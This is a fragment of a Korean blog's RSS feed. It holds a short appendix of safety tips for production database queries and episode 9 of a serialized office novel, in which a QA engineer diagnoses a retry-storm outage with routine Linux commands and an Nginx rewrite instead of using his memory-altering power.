&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;소설001: 내 눈을 보면 안 돼 - 작가의 말 &amp;amp; 완결 후기&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;작가의 말 &amp;amp; 완결 후기작가의 말안녕하세요, 독자 여러분.의 여정을 함께해주셔서 진심으로 감사합니다.10화에 걸친 짧고도 긴 이야기가 드디어 막을 내렸습니다. 이 소설은 &quot;만약 우리에게 타인&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;thepin.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;[부록] 신입사원을 위한 DB 쿼리 실행 핵심 주의사항&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소설 속 민재와 같은 실수는 실제 현업에서도 빈번하게 발생하며, 때로는 심각한 장애로 이어질 수 있습니다. 이를 방지하기 위해 운영 DB에서 쿼리를 실행할 때 반드시 지켜야 할 핵심 주의사항입니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. &lt;code&gt;UPDATE&lt;/code&gt;, &lt;code&gt;DELETE&lt;/code&gt; 전에는 반드시 &lt;code&gt;BEGIN TRAN&lt;/code&gt;으로 시작하세요.&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;목적&lt;/b&gt;: 실수로 잘못된 데이터를 수정하거나 삭제했을 때, 즉시 되돌릴 수 있는 안전장치입니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;사용법&lt;/b&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;BEGIN TRAN; -- 트랜잭션 시작 &lt;br /&gt;UPDATE Customers SET Status = 'Dormant' WHERE LastLoginDate &amp;lt; '2023-01-01'; &lt;br /&gt;-- ROLLBACK; -- 실수를 확인했다면 즉시 롤백! &lt;br /&gt;-- COMMIT; -- 결과가 정확하다면 커밋!&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;습관&lt;/b&gt;: &lt;code&gt;UPDATE&lt;/code&gt;나 &lt;code&gt;DELETE&lt;/code&gt; 문을 작성하기 전에 &lt;code&gt;BEGIN TRAN&lt;/code&gt;과 &lt;code&gt;ROLLBACK&lt;/code&gt;을 먼저 써두는 습관을 들이면 실수를 크게 줄일 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. &lt;code&gt;WHERE&lt;/code&gt; 절을 가장 먼저 작성하세요.&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;목적&lt;/b&gt;: &lt;code&gt;UPDATE&lt;/code&gt;나 &lt;code&gt;DELETE&lt;/code&gt; 시 &lt;code&gt;WHERE&lt;/code&gt; 절을 빠뜨려 전체 테이블의 데이터를 변경하거나 삭제하는 최악의 참사를 막기 위함입니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;사용법&lt;/b&gt;:
&lt;pre class=&quot;gams&quot;&gt;&lt;code&gt;UPDATE Products
SET Price = Price * 1.1
WHERE ProductID = 789; -- SET보다 WHERE를 먼저 쓰는 습관!&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3. 모든 &lt;code&gt;SELECT&lt;/code&gt; 문에는 &lt;code&gt;WITH (NOLOCK)&lt;/code&gt;을 습관화하세요.(mssql 한정)&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;목적&lt;/b&gt;: 단순 조회 쿼리가 다른 중요한 &lt;code&gt;UPDATE&lt;/code&gt;나 &lt;code&gt;DELETE&lt;/code&gt; 작업을 막는 것을 방지합니다. (락 경합 방지)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;사용법&lt;/b&gt;:
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;SELECT * FROM Users WITH (NOLOCK) WHERE UserId = 123;&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;주의&lt;/b&gt;: &lt;code&gt;NOLOCK&lt;/code&gt;은 데이터의 정합성을 100% 보장하지 않을 수 있으므로, 재무 데이터 등 극도로 민감한 조회에는 사용을 지양해야 합니다. 하지만 대부분의 일반적인 데이터 확인 작업에서는 필수적으로 사용됩니다.&lt;br /&gt;또, MSSQL(SQL Server) 환경에서 주로 사용하는 힌트입니다. 오라클이나 MySQL 등은 기본적으로 읽기 작업이 쓰기 작업을 차단하지 않으므로(MVCC), 이 힌트가 필요하지 않습니다. 데이터의 정합성을 100% 보장하지 않을 수 있으므로(Dirty Read), 재무 데이터 등 극도로 민감한 조회에는 사용을 지양해야 합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 세 가지 원칙만 철저히 지켜도, DB 관련 장애의 90% 이상을 예방할 수 있습니다.&lt;/p&gt;</description>
      <category>VibeCoding/글</category>
      <category>기억조작</category>
      <category>내눈을보면안돼</category>
      <category>능력봉인</category>
      <category>리더십</category>
      <category>신뢰성장</category>
      <category>이한결</category>
      <category>제미나이</category>
      <category>직장인간관계</category>
      <category>현실과초현실의경계</category>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/212</guid>
      <comments>https://thepin.tistory.com/212#entry212comment</comments>
      <pubDate>Wed, 18 Feb 2026 14:20:00 +0900</pubDate>
    </item>
    <item>
      <title>소설001: 내 눈을 보면 안 돼 - 제9화. 붕괴의 시련</title>
      <link>https://thepin.tistory.com/211</link>
      <description>&lt;p style=&quot;text-align: right;&quot; data-ke-size=&quot;size14&quot;&gt;이전&amp;nbsp;이야기&amp;nbsp;:&amp;nbsp;&lt;a href=&quot;https://thepin.tistory.com/210&quot;&gt;https://thepin.tistory.com/210&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;제9화. 붕괴의 시련&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;D-Day.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;6개월을 매달린 &amp;lsquo;넥솔브 차세대 커머스 플랫폼&amp;rsquo; 오픈 날. 상황실의 공기는 팽팽하게 당겨진 활시위 같았다. 에어컨이 돌아가고 있었지만, 사람들의 이마에는 송골송골 땀이 맺혀 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;오픈 10분 경과. 현재 동시 접속자 30만 명. 특이사항 없습니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모니터링 담당자의 보고에 상황실 곳곳에서 안도의 한숨이 새어 나왔다. 박성우 팀장도 그제야 굳어있던 어깨를 펴며 식은 커피를 한 모금 들이켰다. 나 역시 모니터링 대시보드의 초록색 불빛들을 보며 마른침을 삼켰다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이대로만 가라. 제발.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 신은 우리의 기도를 들어주지 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;삐이익&amp;mdash;!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;날카로운 경고음이 고막을 찢고 들어왔다. 평화롭던 대형 모니터의 초록색 그래프들이 일제히 핏빛으로 물들었다. 완만하던 트래픽 곡선이 비명처럼 수직으로 치솟더니, 이내 바닥으로 곤두박질쳤다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;뭐야? 무슨 일이야!&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;서&amp;hellip; 서버 응답이 없습니다! 504 Gateway Time-out 에러가 폭주합니다!&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;DB CPU 100% 찍었습니다! 커넥션 풀(Connection Pool)이 꽉 찼어요! 쿼리가 전혀 안 먹힙니다!&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;상황실은 순식간에 아비규환의 지옥으로 변했다. 키보드를 부서져라 두드리는 소리, 의미 없는 고함, 누군가의 절망적인 탄식이 뒤섞였다. 서버가 죽었다. 6개월의 피땀 어린 노력이 단 1분 만에 재가 되어 흩어지고 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;롤백해! 당장 이전 버전으로 돌려!&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;박 팀장이 핏대를 세우며 소리쳤지만, 배포 담당자의 얼굴은 이미 하얗게 질려 있었다. 그는 덜덜 떨리는 손으로 마우스를 잡고 있었지만, 커서는 허공을 맴돌 뿐이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그게&amp;hellip; DB 스키마가 변경돼서 롤백하려면 데이터 마이그레이션을 다시 해야 합니다. 최소 2시간은 걸립니다&amp;hellip;.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;2시간?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;박 팀장의 목소리가 갈라졌다. 그는 다리에 힘이 풀린 듯 의자에 주저앉으며 머리를 감싸 쥐었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;망했군&amp;hellip;.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그의 중얼거림이 상황실의 소음을 잠재웠다. 그것은 항복 선언이었다. 팀원들의 눈동자에는 공포가 서려 있었다. 프로젝트의 실패, 쏟아질 고객의 비난, 회사의 문책, 그리고 잘려 나갈 자신의 미래. 그 무거운 절망감이 납덩이처럼 어깨를 짓눌러, 누구도 감히 손을 쓰지 못하고 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 순간, 내 머릿속에서 잊고 싶었던 기억 하나가 섬광처럼 스쳐 지나갔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3년 전, 인턴으로 일했던 스타트업 &amp;lsquo;데이터웨이브&amp;rsquo;.&lt;br /&gt;그때도 똑같았다. 붉은색 경고등, 멈춰버린 화면, 그리고 대표님의 울음 섞인 고함. 나는 구석에 서서 아무것도 할 수 없었다. 내 눈으로 사람들의 기억을 지워 공포를 없앨 순 있었지만, 죽어버린 서버를 살릴 순 없었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 이상했다.&lt;br /&gt;으레 이쯤 되면 울려야 할 임원실의 독촉 전화가 없었다. 상황실 문을 박차고 들어와 고함을 지르는 사람도 없었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대신, 대형 모니터 구석의 사내 메신저 알림창이 반짝였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[CS 운영팀장]: &quot;고객 항의는 저희가 온몸으로 막고 있습니다. 욕받이는 우리가 할 테니, 개발팀은 복구에만 집중해주세요. 믿습니다.&quot;&lt;br /&gt;[사업본부장]: &quot;지금 가장 힘든 건 자네들일 걸 압니다. 위에서 쪼는 건 내가 다 커버할 테니, 당황하지 말고 해결해주세요.&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가슴 한구석이 묵직해졌다. 이곳은 달랐다.&lt;br /&gt;사람을 부품으로 보지 않고, 위기 앞에서 서로를 지켜주는 회사.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결국 망해버린 전 회사. 짐을 싸서 나오던 날, 텅 빈 사무실의 서늘한 공기가 아직도 생생하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;그 무력감. 다시는 겪고 싶지 않아.&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그때, 내가 자리에서 일어났다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;눈을 쓸까?&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;유혹이 뱀처럼 스멀거렸다. 아주 쉬운 길이었다.&lt;br /&gt;지금 당장 박 팀장의 눈을 보고 &amp;lsquo;서버는 곧 복구된다&amp;rsquo;는 확신을 심어주면 된다. 배포 담당자에게는 &amp;lsquo;네 잘못이 아니다&amp;rsquo;라는 기억을, 임원들에게는 &amp;lsquo;이건 천재지변이었다&amp;rsquo;는 인식을 심으면 그만이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내 능력이라면 이 아비규환을 1초 만에 고요한 천국으로 바꿀 수 있다. 공포에 질린 저 눈동자들을 평온하게 만들 수 있다. 심장이 쿵쿵 뛰었다. 보라색 광채가 시신경을 타고 올라오려 했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;그건 마약이야.&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사람들의 기억을 조작한다고 해서 죽어버린 서버가 살아나지는 않는다. 3년 전 그때처럼, 가짜 평온함 뒤에는 결국 파국만이 남을 뿐이다. 504 에러는 거짓말을 하지 않는다. 내가 능력을 써서 만든 평화는, 결국 서버가 완전히 셧다운되는 순간 더 끔찍한 비극으로 돌아올 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;나는 마법사가 아니야. 나는 엔지니어다.&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현실을 외면하게 만드는 건 구원이 아니라 기만이다. 지금 필요한 건 사람을 홀리는 보라색 눈빛이 아니라, 팩트를 꿰뚫어 보는 차가운 이성이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 메인 터미널 앞으로 걸어갔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;제가 로그 보겠습니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;이한결 대리? 지금 개발팀도 원인을 못 찾고 있는데 자네가 뭘&amp;hellip; 비켜! 방해하지 말고!&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;박 팀장이 신경질적으로 소리쳤다. 하지만 나는 물러서지 않았다. 나는 대답 대신 개발팀장이 앉아 있던 메인 콘솔의 키보드에 손을 올렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모두의 시선이 내 등 뒤에 칼날처럼 박혔다. &amp;lsquo;네가 뭔데&amp;rsquo;, &amp;lsquo;QA 주제에 뭘 안다고&amp;rsquo; 하는 불신과 짜증이 섞인 시선들. 하지만 그 시선들이 오히려 나를 차분하게 만들었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;손끝이 차갑게 식었지만, 머릿속은 오히려 얼음처럼 투명하고 명료해졌다. 세상의 소음이 차단되고, 오직 모니터 속의 검은 화면과 나만이 남았다. 나는 눈을 가늘게 떴다. 이번엔 기억을 조작하기 위해서가 아니라, 데이터의 흐름을 읽기 위해서였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;서버가 멈춘 게 아니야. 어딘가 꽉 막혀 있는 거야.&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 먼저 웹 서버(Nginx)의 상태부터 확인했다.&lt;/p&gt;
&lt;pre class=&quot;coq&quot;&gt;&lt;code&gt;top&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CPU 사용량은 높지 않았다. 하지만 &lt;code&gt;Load Average&lt;/code&gt;가 비정상적으로 높았다. 무언가 처리를 기다리는 프로세스가 쌓여 있다는 뜻이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;네트워크가 막혔나?&amp;rsquo;&lt;/p&gt;
&lt;pre class=&quot;coq&quot;&gt;&lt;code&gt;netstat -n | grep :80 | wc -l&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;25,400&lt;/code&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;접속 대기 중인 연결이 2만 개가 넘었다. 일반적인 트래픽 증가가 아니었다. 특정 구간에서 병목이 발생해 모든 요청이 줄을 서고 있는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;어떤 요청이 문제인지 찾겠습니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 실시간 접근 로그를 열었다. 수천 줄씩 올라가는 로그 속에서 패턴을 찾아야 했다.&lt;/p&gt;
&lt;pre class=&quot;fortran&quot;&gt;&lt;code&gt;tail -f /var/log/nginx/access.log&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;눈으로 쫓기엔 너무 빨랐다. 나는 &lt;code&gt;awk&lt;/code&gt; 명령어를 조합해 가장 많이 요청된 URL을 추출했다.&lt;/p&gt;
&lt;pre class=&quot;stata&quot;&gt;&lt;code&gt;cat /var/log/nginx/access.log | grep &quot;504&quot; | awk '{print $7}' | sort | uniq -c | sort -rn | head -n 5&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결과가 모니터에 떴다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;15,200 /api/event/coupon/claim&lt;/code&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;찾았습니다. 쿠폰 발급 API입니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;범인은 오픈 기념 쿠폰 발급 요청이었다. 하지만 단순히 사람이 몰린 게 아니었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;로그를 보세요. 동일한 IP에서 1초에 수십 번씩 요청이 들어오고 있습니다. 클라이언트 앱에서 타임아웃이 나면 즉시 재시도(Retry)를 하도록 로직이 잘못 짜인 것 같습니다. 실패한 요청이 다시 요청을 부르고, 그게 눈덩이처럼 불어나서 서버를 마비시킨 겁니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그&amp;hellip; 그럼 어떻게 해야 하나?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;박 팀장이 떨리는 목소리로 물었다. 그의 눈빛이 흔들리고 있었다. 나를 향한 불신은 사라지고, 지푸라기라도 잡고 싶은 간절함만이 남아 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;웹이라면 재배포로 해결되겠지만, 앱은 스토어 심사를 거쳐야 해서 수정 배포에 며칠이 걸립니다. 클라이언트를 고칠 수 없으니 서버단에서 막아야 합니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주변 개발자들이 머리를 감싸 쥐며 탄식했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;아, 맞다&amp;hellip; 앱 심사! 젠장, 핫픽스 올려도 심사 통과될 때까지는 꼼짝없이 죽어있어야 하잖아!&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;박 팀장의 입이 벌어졌다. &amp;lsquo;아차&amp;rsquo; 하는 표정이었다. 서버 개발만 생각하느라, 사용자 손에 들린 앱(App)의 배포 특성을 깜빡하고 있었던 것이다. 자신의 무지에 대한 부끄러움과, QA인 내가 그 맹점을 꿰뚫어 보았다는 놀라움이 교차했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;막는다고? 고객들은 어쩌고!&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;차단이 아닙니다. &lt;b&gt;대기열&lt;/b&gt;을 만들어 우회시키겠습니다. 지금 들어오는 요청을 가벼운 정적 페이지(Static Page)로 돌려서, DB 부하를 없애고 고객들을 진정시켜야 합니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;옆에 있던 개발팀장이 반박했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;말이 되는 소리를 해! 대기열 시스템 개발에만 꼬박 일주일이 걸려. 당장 서버가 죽어가는데 소설 쓰고 있어?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;팀장님.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 그를 똑바로 바라보며 말했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;개발할 필요 없습니다. Nginx 설정만으로 트래픽을 정적 안내 페이지로 돌리면 그게 바로 대기실이 됩니다. &lt;b&gt;모든 고객&lt;/b&gt;이 사이트에 접속조차 못 하는 최악의 상황은 막아야 합니다. 핵심 기능인 주문이라도 살려야죠.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내 목소리에는 흔들림이 없었다. 그것은 초능력자의 오만이 아니었다. 기술적인 확신과, 이 재난 상황을 책임지겠다는 인간 이한결의 결단이었다. 상황실의 모든 시선이 나에게 쏠렸다. 그들의 눈빛이 의심에서 기대로 바뀌는 찰나의 순간을, 나는 놓치지 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 망설임 없이 &lt;code&gt;vi&lt;/code&gt; 에디터로 Nginx 설정 파일을 열었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;쿠폰 발급 API 요청을 대기 안내 페이지로 리다이렉트하겠습니다.&amp;rdquo;&lt;/p&gt;
&lt;pre class=&quot;awk&quot;&gt;&lt;code&gt;location /api/event/coupon/claim {
    # 트래픽을 가벼운 정적 대기 페이지로 우회 (DB 접속 차단)
    rewrite ^ /static/waiting_room.html break;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설정을 저장하고 Nginx를 재시작했다.&lt;/p&gt;
&lt;pre class=&quot;ebnf&quot;&gt;&lt;code&gt;service nginx reload&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;엔터키를 누르는 순간, 거짓말처럼 상황실의 경고음이 멈췄다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;치솟았던 로드(Load) 수치가 떨어지고, 빨간색이었던 대시보드 등들이 하나둘 초록색으로 돌아왔다. 쇼핑몰 메인 페이지가 다시 뜨기 시작했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;사&amp;hellip; 살았다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;누군가 탄성을 내뱉었다. 정적 뒤에 환호성이 터져 나왔다. 박 팀장이 나를 와락 끌어안았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;이한결! 네가 살렸어! 와, 진짜&amp;hellip; 너 정체가 뭐야?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 얼떨떨한 표정으로 모니터를 바라보았다. 화면에 비친 내 눈은 지쳐 있었지만, 그 어느 때보다 선명하게 빛나고 있었다.&lt;br /&gt;보라색 광채는 없었다. 그저 밤새 모니터를 보느라 충혈된, 하지만 승리감에 젖은 평범한 갈색 눈동자뿐이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;초능력은 쓰지 않았다. 사람의 뇌를 조작하는 쉬운 길을 버리고, 0과 1의 세계에서 정면으로 부딪쳤다. 내가 쓴 건 단지 몇 줄의 설정 코드와, 포기하지 않고 원인을 파고든 집요함뿐이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 그 순간, 팀원들이 나를 바라보는 눈빛은 내가 초능력을 써서 억지로 심어놓은 가짜 존경과는 비교도 할 수 없었다.&lt;br /&gt;그것은 진짜였다.&lt;br /&gt;나라는 인간이, 오롯이 내 힘으로 쟁취해낸 &amp;lsquo;진짜 신뢰&amp;rsquo;였다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;938&quot; data-origin-height=&quot;1024&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lIZeC/dJMcaf6DDcG/vucpURngYJxYnrGhIV7GSk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lIZeC/dJMcaf6DDcG/vucpURngYJxYnrGhIV7GSk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lIZeC/dJMcaf6DDcG/vucpURngYJxYnrGhIV7GSk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlIZeC%2FdJMcaf6DDcG%2FvucpURngYJxYnrGhIV7GSk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;671&quot; height=&quot;671&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;938&quot; data-origin-height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;다음&amp;nbsp;이야기&amp;nbsp;:&amp;nbsp;&lt;a href=&quot;https://thepin.tistory.com/212&quot;&gt;https://thepin.tistory.com/212&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1771422076659&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;소설001: 내 눈을 보면 안 돼 - 제10화. 눈빛의 끝, 사람의 시작&quot; data-og-description=&quot;제10화. 눈빛의 끝, 사람의 시작계절이 두 번 바뀌었다.그날의 &amp;lsquo;30만 접속 대란&amp;rsquo;은 넥솔브 개발팀의 전설이 되었다. 우리는 그 위기를 넘긴 후에도 수많은 버그와 싸웠고, 크고 작은 장애를 겪&quot; data-og-host=&quot;thepin.tistory.com&quot; data-og-source-url=&quot;https://thepin.tistory.com/212&quot; data-og-url=&quot;https://thepin.tistory.com/212&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bPNcUY/dJMb8YpRRsa/sAhqfVNH861Wk4kyiMQs91/img.png?width=800&amp;amp;height=800&amp;amp;face=338_166_453_291,https://scrap.kakaocdn.net/dn/fx8nR/dJMb8SpEm9i/6Zznr6CtS2weCh9ji640g0/img.png?width=800&amp;amp;height=800&amp;amp;face=338_166_453_291,https://scrap.kakaocdn.net/dn/bCUMXr/dJMb8UHLBFh/hQcYvOs0UzHSzhikEb4wi1/img.png?width=1024&amp;amp;height=939&amp;amp;face=449_224_565_352&quot;&gt;&lt;a href=&quot;https://thepin.tistory.com/212&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://thepin.tistory.com/212&quot;&gt;
